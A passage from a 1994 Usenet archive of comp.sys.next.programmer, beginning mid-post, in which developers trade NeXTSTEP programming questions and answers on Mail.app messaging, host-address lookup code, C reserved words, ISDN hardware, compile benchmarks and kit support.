etc for %s version %s", [NXApp appName], [NXDel appVersion]); // body boilerplate sprintf (body, "Great app, use it all the time. But, did you know...\n\n\n%s\n", NXUserName()); ret = [NXDel sendMailTo:to cc:NULL subject:subject body:body deliver:NO]; NX_FREE(to); NX_FREE(subject); NX_FREE(body); return ret; } #undef BUF_SIZE Hugh -- Hugh Secker-Walker | hugh@hodain.ci.net (NeXTmail ok) 617-253-8142 | hugh@ear.mit.edu
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin From: arrouye@petole.imag.fr (Yves Arrouye) Subject: Bug in network routines? Message-ID: <1994Apr20.141627.6829@imag.fr> Sender: news@imag.fr Organization: Institut Imag, Grenoble, France Date: Wed, 20 Apr 1994 14:16:27 GMT Hello, Using the following code to get the internet address of an host works for some hosts on our net, works for next.com too, but not for prep.ai.mit.edu for example. Could someone see the error? struct hostent* me = gethostbyname(anhostname); char** aliases; if (!me) { printf("no host found\n"); exit(1); } printf("host %s\n", me->h_name); for (aliases = me->h_aliases; *aliases; ++aliases) { printf("alias %s\n", *aliases); } for (aliases = me->h_addr_list; *aliases >= *me->h_addr_list; ++aliases) { struct in_addr hostaddr; struct netent* thenet; strncpy(&hostaddr.s_addr, *aliases, me->h_length); printf("inet %s", inet_ntoa(hostaddr)); /**/ { char* serverHost = inet_ntoa(hostaddr); unsigned long inetaddr; if ((inetaddr = inet_addr(serverHost)) != -1) { struct in_addr hostaddr; struct hostent* host; hostaddr.s_addr = inetaddr; if (host = gethostbyaddr((char*) &hostaddr, sizeof(hostaddr), AF_INET)) { serverHost = host->h_name; } } printf(", host %s\n", serverHost); } } Thanks, Yves. -- Advocates for the C++ school claim that a well designed Yves Arrouye program does not need the extra flexibility (a lie), Yves.Arrouye@imag.fr while advocates for the Objective-C school claim that (33) 76 57 48 64 the errors are no problem in practice (another lie). NeXT Mail
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Messaging Mail.app with boilerplate for a new Compose window Date: 20 Apr 1994 15:32:49 +0100 Organization: me organised, that's a joke. Message-ID: <2p3eeh$u0@steffi.demon.co.uk> References: <HUGH.94Apr20090505@hodain.ci.net> Does that solution still require intervention from the user to press "Deliver"???? These days, most folk compose the message directly to disks and talk directly to sendmail. Assuming of course that the message is being composed in a batch fashion. -- "Kill files are for pacifists" (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Where is NXargv defined, or where is defaults.h ? Date: 20 Apr 1994 15:30:44 +0100 Organization: me organised, that's a joke. Message-ID: <2p3eak$r3@steffi.demon.co.uk> References: <CoK4zy.240@ra.nrl.navy.mil> yiannis@prologos.nrl.navy.mil (John Michopoulos) wrote in comp.sys.next.programmer >The Librarian does not give me a clue! So I would greatly appreciate it if >someone would inform on the whereabouts of defaults.h > >Anxiously waiting for your responses, > Repeat after me. Thou shalt index /NextDeveloper/Headers in DL. Try /usr/include/defaults/defaults.h Defaults have nothing to do with the AppKit which is why declarations etc were moved to a more appropriate location. -- "Kill files are for pacifists" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: mikes@ceco.ceco.com (Michael Stepniczka) Subject: Re: Indexing kit - Query language (NOT SUP Message-ID: <CoKEBq.A3z@ceco.ceco.com> Sender: root@ceco.ceco.com (Operator) Organization: Commonwealth Edison Co. References: <2omg1h$icd@lace.Colorado.EDU> Date: Wed, 20 Apr 1994 15:43:00 GMT In article icd@lace.Colorado.EDU, poplawsk@Colorado.EDU (Orion E. Poplawski) writes: > In article <2ohfdr$97s@cerberus.wsc.com> samurai@wsc.com (Darcy Brockbank) > writes: > > The engineer that wrote IXKit (who's quite excellent) wanted > > to finish it, but I don't think that NeXT believes the IXKit > > is going to be part of its future plans. > > > > So, if you're developing using the IXKit now, then be careful. > > > > 1) bugs are not likely to be fixed > > 2) NeXT isn't going to improve IXKit any > > 3) Support for IXKit will go away one day > > This is really starting to piss me off. Why develop anything for NEXTSTEP > with any of the auxilliary kits as there is now way of knowing how long it > is going to stay around? > If they won't support these kits, would it really be so terrible for them to release the source code? Remember the MusicKit- it's still out there. IXKit, PhoneKit (too late for that one, I suppose, though it would be really great to add phone/ISDN as a selling point again), and whatever else they may drop would definitely make people happier if they at least didn't disappear. Mike Stepniczka mikes@ceco.ceco.com
Newsgroups: comp.sys.next.programmer From: gery@ares.fdn.org (Gery Divry) Subject: Re: Bizzare Bug: using "continue" as a variable Message-ID: <1994Apr20.132811.1916@ares.fdn.org> Sender: news@ares.fdn.org Organization: Ares - Lyon, France. References: <2p2c4g$ec8@nntp.ucs.ubc.ca> Date: Wed, 20 Apr 1994 13:28:11 GMT In article <2p2c4g$ec8@nntp.ucs.ubc.ca> mike@ceramics.cmpe.ubc.ca (Michael C. Cam) writes: : :Hi, : :I've got a really bizarre bug. :For some reason or another I cannot use the variable "continue". I get an :error message when compiling using ProjectBuilder. The problem can be :recreated by creating a New Application in ProjectBuilder and adding the :following files: Hi continue is a keyword in C allowing to continue a loop. that s why Gery DIVRY ( ZZVolume Daddy ) ARES Publisher 8, rue Victor Lagrange Phone: (+33) 72 80 16 30 69007 LYON Fax: (+33) 72 80 16 32 France Email: gery@ares.fdn.org Earth, Solar System, Galaxy MW1 NeXT Mail accepted
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Indexing kit - Query language (NOT SUP Date: 20 Apr 1994 17:31:31 +0100 Organization: me organised, that's a joke. Message-ID: <2p3ld3$221@steffi.demon.co.uk> References: <2omg1h$icd@lace.Colorado.EDU> <CoKEBq.A3z@ceco.ceco.com> mikes@ceco.ceco.com wrote in comp.sys.next.programmer >If they won't support these kits, would it really be so terrible for >them to release the source code? Remember the MusicKit- it's still >out there. IXKit, PhoneKit (too late for that one, I suppose, though >it would be really great to add phone/ISDN as a selling point again), >and whatever else they may drop would definitely make people happier >if they at least didn't disappear. > > >Mike Stepniczka >mikes@ceco.ceco.com > > I certainly support this suggestion if there's no licensing issues involved. I'd rather have access to a kit than to see if "flitter" away.... If they released it the community could keep it going just like MusicKit. It's better than having nothing I say. -- "Kill files are for pacifists" (ASCII for text only messages)
From: dsdecasp@iiic.ethz.ch (Daniel Stefan Decasper) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Date: 20 Apr 1994 17:38:45 GMT Organization: Dept. Informatik, Swiss Federal Institute of Technology (ETH), Zurich, CH Message-ID: <2p3pb5$1jo@neptune.inf.ethz.ch> References: <2p15cp$5dl@neptune.inf.ethz.ch> <2p2c7f$6m4@news.icaen.uiowa.edu> In article <2p2c7f$6m4@news.icaen.uiowa.edu>, Doug Siebert <dsiebert@icaen.uiowa.edu> wrote: > >Meaningless. The PA-RISC chip is going to have a lot more work to do to >properly optimize the code. Compare *run* speed if you want some sort of >useful comparison. Having used plenty of HP 700 series machines, I can >guarantee you the 712/60 and 712/80 will blow it away a regular NeXT (I have >one at home, so I know how fast they go too) by a huge margin. Not even in >the same league, in disk, memory, CPU, and graphics speed. Now these were [...] >same league for CPU speed, and you're giving away a lot in SCSI, network, >and memory bandwidth with a cheesy PC compared to an HP workstation, I can >promise you that. > 90 % of the time I spend idle in front of my NeXTStation is waiting for compilation to complete. Turn around times are most important for me. That's why I did this test. If I would be interested in how fast the machine *runs*, I would have probably tried stuff like NXBench. Dan -- ---------------------------------------------------------------------------- = Dan S. Decasper email: dan@fanatic.open.ch or dsdecasp@iiic.ethz.ch = = Uetlibergstr.16 voice: +41-1-4001677 (ISDN) [NeXTMail ok]; = = CH-8142 Uitikon fax: 41-1-4001674 09/24/69 =
From: tobias@nextix.muc.de (Tobias Hoellrich) Newsgroups: comp.sys.next.programmer Subject: Re: Bizzare Bug: using "continue" as a variable Date: 20 Apr 1994 19:38:01 GMT Organization: MUC.DE - Individual Network (IN) Domain Munich Distribution: world Message-ID: <TOBIAS.94Apr20203803@nextix.muc.de> References: <2p2c4g$ec8@nntp.ucs.ubc.ca> In-reply-to: mike@ceramics.cmpe.ubc.ca's message of 20 Apr 1994 04:47:12 GMT In article <2p2c4g$ec8@nntp.ucs.ubc.ca> mike@ceramics.cmpe.ubc.ca (Michael C. Cam) writes: > I've got a really bizarre bug. > For some reason or another I cannot use the variable "continue". I get an > error message when compiling using ProjectBuilder. The problem can be > recreated by creating a New Application in ProjectBuilder and adding the > following files: [ stuff deleted ] > If you change "continue" to "continu" (or anything else for that matter) > it will compile without any problems. Any comments or experiences with > this matter? Go out for a copy of K&R Introduction to C .... try the following prg - I think you know what I mean ?! void main () { int case; float if=6.4; char *long; case = 1; if (if>0) { printf("Is is the 1st of April?\n"); } } Tobias "sorry couldn't resist" Hoellrich -- Tobias Hoellrich, Schiesstaettstr. 26,80339 Muenchen, Tel: +49-89-502 90 88 EMail/NeXTMail: tobias@nextix.muc.de
Newsgroups: comp.sys.next.programmer From: gerti@tms-gmbh.de (Gerd Knops) Subject: Documentation for NXLinkCell etc.? Message-ID: <CoKM36.23L@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany Date: Wed, 20 Apr 1994 18:30:41 GMT For a project I need to be able to use markers and links, like they are used for NXHelpPanel etc. I could not locate any documentation in NextDev. Is any documentation, eg of the NXLinkCell class and its categories for the Text class, available? Gerd
Newsgroups: comp.sys.next.programmer From: karl@trapac.com (Karl Kraft) Subject: Re: Bizzare Bug: using "continue" as a variable Message-ID: <CoKnDp.EwE@trapac.com> Sender: karl@trapac.com (Karl Kraft) Organization: Trans Pacific Container Service Corporation References: <2p2c4g$ec8@nntp.ucs.ubc.ca> Date: Wed, 20 Apr 1994 18:58:37 GMT In article <2p2c4g$ec8@nntp.ucs.ubc.ca> mike@ceramics.cmpe.ubc.ca (Michael C. Cam) writes: > > Hi, > > I've got a really bizarre bug. > For some reason or another I cannot use the variable "continue". I get an > error message when compiling using ProjectBuilder. The problem can be > recreated by creating a New Application in ProjectBuilder and adding the > following files: > > "continue" is a reserved word in C. This is not a bug. C does not allow you to overload reserved words. If you need a list of reserved words, look in K+R -- Karl Kraft Karl_Kraft@trapac.com Karl_Kraft@ensuing.com [My opinions are my own]
Newsgroups: comp.sys.next.programmer From: karl@trapac.com (Karl Kraft) Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Message-ID: <CoKqyC.F09@trapac.com> Sender: karl@trapac.com (Karl Kraft) Organization: Trans Pacific Container Service Corporation References: <2p2c7f$6m4@news.icaen.uiowa.edu> Date: Wed, 20 Apr 1994 20:15:47 GMT In article <2p2c7f$6m4@news.icaen.uiowa.edu> dsiebert@icaen.uiowa.edu (Doug Siebert) writes: > dsdecasp@iiic.ethz.ch (Daniel Stefan Decasper) writes: > > Meaningless. The PA-RISC chip is going to have a lot more work to do to > properly optimize the code. How about a comparison of Draw.app compiled on PA-RISC, for the 68k architecture, that should take the same amount of work either way. Also, Draw takes one big link at the end. It would be interesting to see the numbers, without the link step. -- Karl Kraft Karl_Kraft@trapac.com Karl_Kraft@ensuing.com [My opinions are my own]
Newsgroups: comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.misc From: burns@bellcore.com (James E. Burns) Subject: Re: Seeking info on ISDN connectivity In-Reply-To: jaime@afs.com's message of Mon, 18 Apr 1994 17:24:37 GMT Message-ID: <BURNS.94Apr20175735@wildcat.bellcore.com> Sender: news@walter.bellcore.com Organization: /burns/.organization References: <1994Apr18.172437.2133@afs.com> Distribution: usa Date: Wed, 20 Apr 1994 22:57:35 GMT The Hayes Extender is essentially dead. It depends on the PhoneKit, which as far as I know has never been picked up. In any case, it doesn't support the National ISDN-1 standard (although you might be able to use it if your switch has the AT&T ISDN option). You can use ISDN with the Cube (I am, even as I speak), but the max speed is 38.4K over the serial port. jim burns -- James E. Burns burns@nova.bellcore.com Bellcore, NVC-3X114 Off: (908) 758-2819 331 Newman Springs Road Fax: (908) 758-4371 Red Bank, NJ 07701-5699, USA Home: (908) 219-6561
Newsgroups: comp.sys.next.programmer Subject: C++ and NeXTSTEP how? Message-ID: <1994Apr19.210550.1758@earlham.edu> From: rabahya@earlham.edu Date: Tue, 19 Apr 94 21:05:45 -500 Distribution: world Organization: Earlham College Hello -- Does anybody know about some docs on the internet or even some books about how to build a NS interface for C++. I am starting to learn C++ and would like to be able to interface my programs to NS. Please send me replies by email. Thanks --- Jack A. Rabah Earlham College / | | _ Computer Science Dept. \ | | / \ rabahya@yang.earlham.edu | / | | / \ ** Here's the fortune cookie of the day.. ---------- ----------- it is randomly generated: - The economy depends about as much on economists as the weather does on weather forecasters. -- Jean-Paul Kauffmann
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Gecko vs NeXTstation color: compiling Draw.app In-Reply-To: don@darth.byu.edu's message of 19 Apr 1994 19:38:07 GMT To: don@darth.byu.edu (Don Yacktman) Message-ID: <CEDMAN.94Apr19231833@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <2p15cp$5dl@neptune.inf.ethz.ch> <2p1buv$lm7@bones.et.byu.edu> Date: Wed, 20 Apr 1994 03:18:32 GMT In article <2p1buv$lm7@bones.et.byu.edu> don@darth.byu.edu (Don Yacktman) writes: Daniel Stefan Decasper writes ) I tried to compile Draw.app (v48) on both the HP Gecko 712/80 and ) my good old NeXTstation color (non turbo). ) Both had 32 MB ram and about the same (~9.5 ms, 1GB) hard disk. ) NeXTstation color: 8 min 50 s ) Gecko: 5 min 02 s ) Comments ? Sure. I would have expected a better performance increase, so one of two things is likely: (1) you're using beta SW and the final speed tweaks aren't done yet, Yes, that is possible. A 712/80 is supposed to be about 5x to 10x faster than a simple NeXTstation. Can tweaks really make up for a missing factor of 3 to 6 ? or, and this is more likely, (2) the CPU is faster than the harddrive by such a large factor that the hard drive has become the limiting factor in compilation speed. So a faster hard driver would improve the performance of the compile... That I do not believe. Even my fairly old and slow hard disk would impose a limit which is much higher than what you are seeing above. As a matter of fact, I doubt that there is any workstation around which could even come close to being starved by it when doing a compilation job (not that there aren't many important tasks on which even this slab is disk starved). I see at least two more possibilities: (3) Optimization of HP/PA code is so much harder (or if you so wish, there are so many optimizations which can be usefully performed) that compilation is barely accelerated. Again, this is probably true, but I find it hard to imagine that this should make up for the huge discrepancy. (4) The SpecInt/SpecFP numbers are just misleading. The Gecko is just designed to run them well, but at real world tasks it fails pretty badly. Probably there is something to that too. Still, that's enough of a performance boost to make me want to get a NS Gecko. :-) I don't know... my rule of thumb has been to buy a new computer when I can get at least 3x-4x the real world performance for a comparable price. 5 minutes vs. 8 minutes is not worth upgrading. Carl Edman
Newsgroups: comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Messaging Mail.app with boilerplate for a new Compose window In-Reply-To: robert@steffi.demon.co.uk's message of 20 Apr 1994 15:32:49 +0100 To: robert@steffi.demon.co.uk (Robert Nicholson) Message-ID: <CEDMAN.94Apr20142849@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <HUGH.94Apr20090505@hodain.ci.net> <2p3eeh$u0@steffi.demon.co.uk> Date: Wed, 20 Apr 1994 18:28:49 GMT In article <2p3eeh$u0@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes: Does that solution still require intervention from the user to press "Deliver"???? Just use the code of nextmail from the mailapp-utilities (available from better ftp servers everywhere including cs.orst.edu). Requiring the user to hit 'Deliver' by hand is an option. These days, most folk compose the message directly to disks and talk directly to sendmail. Assuming of course that the message is being composed in a batch fashion. There are advantages to sending even such messages through Mail.app. In particular users which prefer to archive their outgoing mail will be allowed to do so. Also, this allows you to make sure that you get the right Reply-To: and other header lines and have Mail.app aliases expanded. And of course, often you want to give the user a chance to edit the outgoing letter before it is sent. For all these reasons, I think it is better to message Mail.app for mail messages which are generated in response to user action (rather than e.g. machine generated accounting messages and the like). Carl Edman
From: sjirman@ee.duke.edu (Stan Jirman) Newsgroups: comp.sys.next.programmer Subject: Re: Messaging Mail.app with boilerplate for a new Compose window Date: 21 Apr 1994 06:31:00 GMT Organization: Duke University; Durham, N.C., USA Message-ID: <2p56j4$jff@news.duke.edu> References: <CEDMAN.94Apr20142849@capitalist.princeton.edu> In article <CEDMAN.94Apr20142849@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes: > [stuff deleted] > There are advantages to sending even such messages through Mail.app. > In particular users which prefer to archive their outgoing mail will > be allowed to do so. Also, this allows you to make sure that you get > the right Reply-To: and other header lines and have Mail.app aliases > expanded. And of course, often you want to give the user a chance to > edit the outgoing letter before it is sent. > > For all these reasons, I think it is better to message Mail.app for > mail messages which are generated in response to user action (rather > than e.g. machine generated accounting messages and the like). > > Carl Edman What you also may consider is that in most European countries (if not even in the US) it is illegal for any software to reveal information of any kind about a user's setup without the user's notice. This is just a "subclass" of the privacy clauses in most constitutions. As soon as an app sends messages out, the user must be able to block this (which is not easily possible with live internet and direct sendmail). Note that even sending a constant message provides the receiver with the user's email address, something that is private and the user may not want to disclose. Stan -- ---------------------------------------------------------------------- "640K ought to be enough for anybody." -- Bill Gates '81 Stan Jirman NeXTmail welcome sjirman@ee.duke.edu ----------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: pclark@is.com (Pete Clark) Subject: Re: Breaking an NXConnection. How to do that, please? Message-ID: <CoLorD.7r0@is.com> Keywords: it's ugly. Sender: pclark@is.com (Peter Clark) Organization: Integrity Solutions, Inc. References: <1994Apr20.093532.26561@imag.fr> Date: Thu, 21 Apr 1994 08:26:00 GMT In article <1994Apr20.093532.26561@imag.fr> arrouye@petole.imag.fr (Yves Arrouye) writes: > I have written a small app with DO, and I want to allow the clients to > register to another server and cease using the one they were connected to > before. My problem is that I do not want to have a method telling the server > that the client wants to unregister, so I am trying to break the > connection by hand. Try something like: port_deallocate(task_self(), [[myConnection inPort] machPort]); The server will get notification of the port death. I don't know any other way to trigger port death notification other than actually trashing the port. Best, Pete Clark -- ********************************************************************* Pete Clark - Software Engineer | You know that way that Integrity Solutions, Inc. | you always are? pclark@is.com NeXTMail preferred | Don't be that way.
From: anderson@macc.wisc.edu (Jess Anderson) Newsgroups: comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.misc Subject: Re: Seeking info on ISDN connectivity Date: 21 Apr 1994 09:55:37 GMT Organization: Division of Information Technology, UW-Madison Distribution: usa Message-ID: <2p5iip$m6@news.doit.wisc.edu> References: <1994Apr18.172437.2133@afs.com> <BURNS.94Apr20175735@wildcat.bellcore.com> In article <BURNS.94Apr20175735@wildcat.bellcore.com>, James E. Burns <burns@bellcore.com> wrote: >The Hayes Extender is essentially dead. It depends on the PhoneKit, >which as far as I know has never been picked up. In any case, it I thought it was picked up by Pencom, but then shelved. We have two of them, gathering dust. We were fairly pissed about it at the time. >doesn't support the National ISDN-1 standard (although you might be >able to use it if your switch has the AT&T ISDN option). You can use >ISDN with the Cube (I am, even as I speak), but the max speed is >38.4K over the serial port. I'm using ISDN, incidentally on a cube, but it can be used on any ethernet using the right bridges or hubs, and with compression, speeds in the .5 Mbps range are possible. All it takes is money. -- <> Progress might have been all right once, but it has gone on <> too long. <> -- Ogden Nash -- Opinions expressed herein have no connection with the UW-Madison. Jess Anderson anderson@doit.wisc.edu
Newsgroups: comp.sys.next.programmer From: arhn6005@bureau.ucc.ie Subject: Min. RAM, Max. usage! Message-ID: <21APR94.15013140@bureau.ucc.ie> Sender: usenet@curia.ucc.ie Organization: University College Cork Date: Thu, 21 Apr 1994 15:01:31 GMT I may be out of my depth in this news group, but I need some help, badly! I have had a MAC LCIII for just a year, with 4 Mb of RAM. Recently I received a demo of PRINCE of PERSIA II. It requires 3,072 K of RAM to run. My problem is this: How do I free enough RAM to run it? 1. It doesn't accept Vitual Memory. 2. You cannot reduce the memory allocation in Get Info. 3. With extensions off my system v.7.1 uses 1,022 k, leaving only 3,022 K. I have Res Edit, and have used it to "butcher" the SYSTEM and FINDER, and even though I reduce the size of the programs, when the Mac is rebooted, they give themselves the exact same RAM allocation. A) Is there a way to change the RAM allocation with Res Edit, surely there has to be a code somewhere? B) Am I chasing a lost cause? The mac "pro's" that I have talked to (all work with either Apple or an Apple retailer) have told me what I'm trying to do is impossible. They said System 7 will not work under 1 Mb. Finally could you please email me, since I rarely use bulletins. Also, I am not very "technical". Thanks in advance, Nigel
From: dsdecasp@iiic.ethz.ch (Daniel Stefan Decasper) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Date: 21 Apr 1994 15:32:04 GMT Organization: Dept. Informatik, Swiss Federal Institute of Technology (ETH), Zurich, CH Message-ID: <2p669k$iu9@neptune.inf.ethz.ch> References: <2p15cp$5dl@neptune.inf.ethz.ch> <2p1buv$lm7@bones.et.byu.edu> <CEDMAN.94Apr19231833@capitalist.princeton.edu> In article <CEDMAN.94Apr19231833@capitalist.princeton.edu>, Carl Edman <cedman@princeton.edu> wrote: > >(4) The SpecInt/SpecFP numbers are just misleading. The Gecko is just >designed to run them well, but at real world tasks it fails pretty >badly. Probably there is something to that too. > Believe me, the Gecko running NEXTSTEP blows away any other box (Motorola, Intel) I've ever seen before (could not believe how fast it runs when I first saw it on the ceBit). Compilation means lots of SCSI ops. Probably a driver problem ? Dan
Newsgroups: comp.sys.next.programmer From: saty@ntc.togliatti.su (Sergey A. TsYbanov) Subject: UNIX-like device driver interface: HELP ME !!! Message-ID: <AFBzbjjqCJ@ntc.togliatti.su> Sender: news-server@ntc Organization: AutoVAZ Research & Development Centre Date: Thu, 21 Apr 1994 11:11:07 GMT Hi ! Now I write the Ethernet statistics software for NeXT computers and use UNIX-like device driver interface. When my xyzread() function call uiomove() function panic message has appeared and NeXT has been rebooted. How can I use UIOMOVE() NeXTSTEP kernel function correctly? This is C-language prototype of UUIOMOVE function for any "classic" BSD: int uiomove( caddr_t kernel_address, int len, struct uio *uio); Is it right for NeXTSTEP 3.0 uiomove() function ? HELP !!!!! P.S. Sorry for my poor English B-(. ! iH -- ******************* Is There Anybody Out There ? ********************** * SATY ( Sergey A. TsYbanov ). * * E-mail : saty@togliatti.su Phone : number +7 (8469) 378-17-53. * ***********************************************************************
From: mow@marsu.tynet.sub.org (Markus Wenzel) Newsgroups: comp.sys.next.programmer Subject: Re: postgres on NeXTSTEP Date: 20 Apr 1994 23:50:59 +0100 Organization: Palumbian Research Labs Message-ID: <2p4bkj$1kn@marsu.tynet.sub.org> References: <1994Apr18.182208.427@artebit.in-berlin.de> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Keywords: postgres, database, gnu georg@artebit.in-berlin.de writes: >Has anyone out there compiled Postgres ? :-( And, if so, is there anyone willing to write a DBKit adaptor for it? -- .sig got a SIGKILL signal.
From: minogue@mayo.edu (Lisa Minogue) Newsgroups: comp.sys.next.programmer Subject: Any problems with MallocDebug? Date: 20 Apr 1994 22:57:29 GMT Organization: Mayo Foundation Message-ID: <2p4c0p$51i@fermat.mayo.edu> I'm trying to use MallocDebug on my (dbkit) application. I link the MallocDebug library into my app and try to run it. I get connected to the database, but that's it. The only windows I can bring up are windows that don't have a dbmodule in them (for example, I can bring up my info panel). As soon as I try to bring up a window containing a dbmodule, my app hangs. In the console I get the message: Apr 20 17:04:00 cantor DecoupledCRC[5262]: objc: class `a.b.c' not linked into application where a.b.c is a relationship from my module. Any ideas? Thanks in advance. -- Lisa ---------------------------------------------------------- Lisa M. Minogue Internet: minogue@mayo.edu Analyst/Programmer NeXT mail welcome Research Computing Facility MAYO Foundation -----------------------------------------------------------
From: mark@snapdragon.cs.odu.edu (Mark Imbriaco) Newsgroups: comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.misc Subject: Re: Seeking info on ISDN connectivity Date: 21 Apr 1994 16:25:00 GMT Organization: Old Dominion University, Norfolk, VA, USA Distribution: usa Message-ID: <MARK.94Apr21122500@snapdragon.cs.odu.edu> References: <1994Apr18.172437.2133@afs.com> <BURNS.94Apr20175735@wildcat.bellcore.com> <2p5iip$m6@news.doit.wisc.edu> In-reply-to: anderson@macc.wisc.edu's message of 21 Apr 1994 09:55:37 GMT > I'm using ISDN, incidentally on a cube, but it can be used > on any ethernet using the right bridges or hubs, and with > compression, speeds in the .5 Mbps range are possible. All > it takes is money. Yeah. Combinet ISDN bridges are about US$1000 or so, and they support compression so you could get somewhere in the .25 Mbps range. Gandalf bridges support a better compression system and advertise 8:1 or 1 Mbps over the standard ISDN (2 b-channels) service. -- --- Mark Imbriaco mark@cs.odu.edu
From: cc100aa@xray.oit.gatech.edu (Ray Spalding) Newsgroups: comp.sys.next.programmer Subject: Re: Problem with Slider - setAltIncrementValue Date: 21 Apr 1994 17:27:52 GMT Organization: Georgia Institute of Technology Message-ID: <2p6d2o$j57@news.gatech.edu> References: <2p34bj$t0c@masala.cc.uh.edu> Keywords: Slider, Interface Builder, Application Builder In article <2p34bj$t0c@masala.cc.uh.edu> cosc19vo@simpsons.cc.uh.edu writes: >I am trying to set an Alternate Increment Value for the sliders using the >method : setAltIncrementValue:. The object (created through the IB) is an >instance of the class 'Slider'. >Is my >understanding that : All control classes use instances of the corresponding >cell classes and forward messages to those instances : correct ? You are correct only up to a certain point. Many Control methods are simply forwarded to the Cell, but this is not automatic -- i.e., the Control must implement the method explicitly. In your case, you should be able to just do the following: [[slider cell] setAltIncrementValue:0.1]; where "slider" is the id of a Slider (Control) object. -- Ray Spalding, Office of Information Technology Georgia Institute of Technology, Atlanta Georgia, 30332-0715 Internet: ray.spalding@oit.gatech.edu (NeXT Mail accepted)
From: ief@netnews.jhuapl.edu (Ian Feldberg) Newsgroups: comp.sys.next.programmer Subject: Too much compilation using Project Builder Date: 21 Apr 1994 13:21:02 -0400 Organization: Johns Hopkins University's Applied Physics Lab Message-ID: <2p6clu$355@aplcomm.jhuapl.edu> Does anyone out there know how Project Builder decides to compile files? I have some .m files under Classes, some .h files under Headers, and some .c files under Other Sources. When I hit "Run" it only recompiles the .m files that have changes (good) but it recompiles ALL the .c files, whether or not I have changed them. This is causing great pain (and boredom). Any ideas? - Ian
From: Victor Solakhian <victor@gomidas.mi.org> Newsgroups: comp.sys.next.programmer Subject: Re: Archiving HashTables Date: 21 Apr 1994 19:22:53 GMT Organization: University of Michigan EECS Dept. Distribution: world Message-ID: <2p6jqd$4jo@zip.eecs.umich.edu> References: <2p0qce$ob3@gpo.gb.swissbank.com> In article <2p0qce$ob3@gpo.gb.swissbank.com> patersk@gb.swissbank.com (Kevin Paterson ) writes: > > > Has anyone ever had the need to archive a hashtable? I attempted to do so > but I seem to lose the associated object keys. > > The code I use to archive is simply; > > NXWriteObject(stream, hashtable); > > > Can anyone shed some light ? > > Thanks > Kevin > Swiss Bank Corporation, London. You can find a good example in "The NeXTSTEP advantage" (C) Copyright 1991-1993 NeXT Computer, Inc. The floppy disk included with this manual contains the complete source code for the examples. Victor --------------------------------------------------------------- Victor Solakhian Internet: victor@gomidas.mi.org Gomidas Solutions UUCP: uunet!gomidas!victor 1697 Broadway, Suite 104 Phone: +1 313 761 9590 Ann Arbor, MI 48105-1865 Fax: +1 313 761 9890 ---------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: rvs@vnp.com (Ronald V. Simmons) Subject: Re: Default Open App Message-ID: <1994Apr21.112511.16212@vnp.com> Sender: news@vnp.com (News account) Organization: VNP Software References: <CEDMAN.94Apr19100257@capitalist.princeton.edu> Date: Thu, 21 Apr 94 11:25:11 GMT In article <CEDMAN.94Apr19100257@capitalist.princeton.edu> Carl Edman writes: > But then of course, who is still using that old app when the native > port of Emacs 19 to NS will be out this weekend (baring unforeseeable > circumstances) ? > > Carl Edman For those who missed the understatement in the post above, let me say that Carl has done a truly remarkable job with his port of emacs-19 to NS. In fact I am ecstatic to state that, with the exception of .rtf files, I have now quit using Edit altogether. With the inclusion of Epoch like functionality in emacs-19, it's also possible (and desirable) to dispense with rtf'd source code, too. Damned fine job, Carl, you're a great programmeratarian and emancipator. :^) :^) One question, though, has there been any change in Stallman's stance towards inclusion of your changes into the GNU emacs distribution? I've poked around at some of them and, at least for the ones I've seen in the lisp code, they look to me as if they could be classified as bug fixes, rather than explicit support for a closed platform. Have you thought of taking this tack? Keep up the good work. -- Ronald V. Simmons Principal VNPSoftware Cambridge, MA Van_Simmons@vnp.com
From: sanguish@digifix.com (Scott Anguish) Newsgroups: comp.sys.next.programmer Subject: Text - Steping through the NXRunArray Date: 21 Apr 1994 17:02:27 -0400 Organization: Digital Fix Development Distribution: world Message-ID: <2p6pl3$ho0@digifix.digifix.com> I have a situation where I need to grab each 'style' in a Text Object, and then find the text that is associated with that style. the NXRunArray contains the Styles I need, but I don't seem to be able to find out where they are referenced to the actual text blocks... Comments? I know that the Text Object is a touchy subject, but I need to implement this now, and this is my only real option. -- - Scott Anguish - sanguish@digifix.com (NextMail) next-announce@digifix.com (comp.sys.next.announce submissions)
From: ken@geritol.mc.duke.edu (Ken McKee) Newsgroups: comp.sys.next.programmer Subject: Re: postgres on NeXTSTEP Date: 21 Apr 1994 21:08:39 GMT Organization: Duke University; Durham, N.C., USA Message-ID: <2p6q0n$g47@news.duke.edu> References: <2p4bkj$1kn@marsu.tynet.sub.org> Keywords: Postgres In article <2p4bkj$1kn@marsu.tynet.sub.org> mow@marsu.tynet.sub.org (Markus Wenzel) writes: > georg@artebit.in-berlin.de writes: > > >Has anyone out there compiled Postgres ? :-( > > And, if so, is there anyone willing to write a DBKit adaptor for it? > > > > -- > .sig got a SIGKILL signal. Contact: Gerben Wierda [NeRD:7539] gerben@rna.indiv.nluug.nl He has ported Postgres and is working on a DBKit adaptor. Ken McKee
